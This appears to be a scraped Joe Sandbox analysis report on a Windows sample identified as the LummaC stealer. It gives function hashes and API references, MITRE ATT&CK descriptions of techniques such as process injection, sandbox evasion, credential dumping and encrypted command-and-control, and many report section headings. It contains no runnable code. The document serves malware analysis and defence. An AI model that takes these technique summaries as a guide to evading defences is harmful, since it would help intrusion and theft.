API String ID: 2610073882-1175575865
Opcode ID: fbbccc6316c81d781c046fa5f464a6966e20e8c2c4e7df863260449e87ccbe5d
Instruction ID: 0d9e2f7827293927a5cfb8656bdc0ef3d7868a73e2fca87288ca134e2872853a
Opcode Fuzzy Hash: fbbccc6316c81d781c046fa5f464a6966e20e8c2c4e7df863260449e87ccbe5d
Instruction Fuzzy Hash: 5A31D53050C7C18EC3619B38888869FBFE16BD7324F484A5DE5E64B2E2D7769049CB57

Function 0040B510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(004087F9,00000010,00000000), ref: 0040B516
FreeLibrary.KERNEL32 ref: 0040B537

Strings

#v, xrefs: 0040B516, 0040B537

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 9b906d66826d2136dac62b423b22b071542d5574cb582e00250704552628795b
Instruction ID: d38886d6867fd7f1011bf2f878ec734edb1f1dccc7baf131d76c0f34bafdf9f4
Opcode Fuzzy Hash: 9b906d66826d2136dac62b423b22b071542d5574cb582e00250704552628795b
Instruction Fuzzy Hash: F2C00239414804AFCE027FB5FC1981C3A21BB5670571450BCB80570131DE634926EB1E

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NHEXQatKdE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
NHEXQatKdE.exe

Function 006FC19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 006E15C1 Relevance: 7.7, APIs: 5, Instructions: 171
fileCOMMON

Function 006E123B Relevance: 3.2, APIs: 2, Instructions: 194
COMMON

Function 006E6FE5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 006E5549 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 006ECB55 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 006E1930 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Function 006ED32E Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 006E79C3 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 006E1511 Relevance: 3.1, APIs: 2, Instructions: 62
memoryCOMMON

Function 006E8352 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 006E70B0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 006E8CFD Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre